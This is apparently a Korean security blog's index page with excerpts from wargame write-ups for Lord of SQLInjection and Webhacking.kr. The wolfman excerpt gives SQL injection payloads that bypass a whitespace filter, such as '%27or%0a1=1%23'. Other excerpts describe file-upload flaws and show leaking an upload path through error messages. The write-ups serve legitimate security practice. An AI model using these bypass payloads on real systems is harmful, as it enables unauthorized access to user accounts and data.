본문 바로가기

전체 글

(295)
LORD OF SQLINJECTION : wolfman Write-Up if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 위의 필터링에 의해 공백(%20)이 필터링된다. 그러므로 아래와 같이 %0a로 공백 필터링을 우회해 주었다. ?pw=%27or%0a1=1%23 +plus ?pw=%27or/**/1=1%23 ?pw=%27or%0d1=1%23 ?pw=1%27or%0aid%0alike%0a%27admin%27%23
LORD OF SQLINJECTION : orc Write-Up 첫 번째 방법
LORD OF SQLINJECTION : goblin Write-Up
LORD OF SQLINJECTION : cobolt Write-Up
LORD OF SQLINJECTION : gremlin Write-Up
Webhacking.kr : old-41 Write-Up 해당 페이지는 파일 업로드 기능이 존재한다. 하지만, 업로드 후, 업로드 된 파일의 위치는 파악할 수 없고, 파일이 업로드 되었다는 "Done~" 메시지만이 출력될 뿐이다. 그림 2와 같이 빈 파일을 업로드해보았고, 아래 코드에 의해 에러메시지가 출력되었다. error_reporting(E_ALL); ini_set("display_errors", 1) 위 그림 2의 에러 메시지로는 별다른 정보를 얻지 못하였고, 다른 에러 메시지의 출력을 유도하기 위해서, 파일명을 길게 하여 에러를 발생시켰다. 그 결과는 아래 그림 3과 같다. 255글자의 파일명 까지는 에러 메시지가 출력되지 않았고, 256글자를 입력 하자 오른쪽과 같은 에러 메시지가 출력되어 upload_dir이 노출되었다. 위 그림 ..
Webhacking.kr : old-37 Write-Up 위 그림 1과 같이 페이지에는 파일을 업로드할 수 있는 기능이 존재하며, 새로 고침 시, tmp- {$time}의 파일이 생성되고, 해당 파일에는 127.0.0.1 이 쓰여진다. ( 아래 그림 2를 확인하도록 한다. ) $file_nm = $_FILES['upfile']['name']; $file_nm = str_replace("","",$file_nm); $file_nm = str_replace(".","",$file_nm); $file_nm = str_replace("/","",$file_nm); $file_nm = str_replace(" ","",$file_nm); if($file_nm){ $p = fopen("./tmp/{$file_nm}","w"); fwrite($p,$_SER..
Webhacking.kr : old-51 Write-Up 문제의 코드는 아래와 같다. Admin page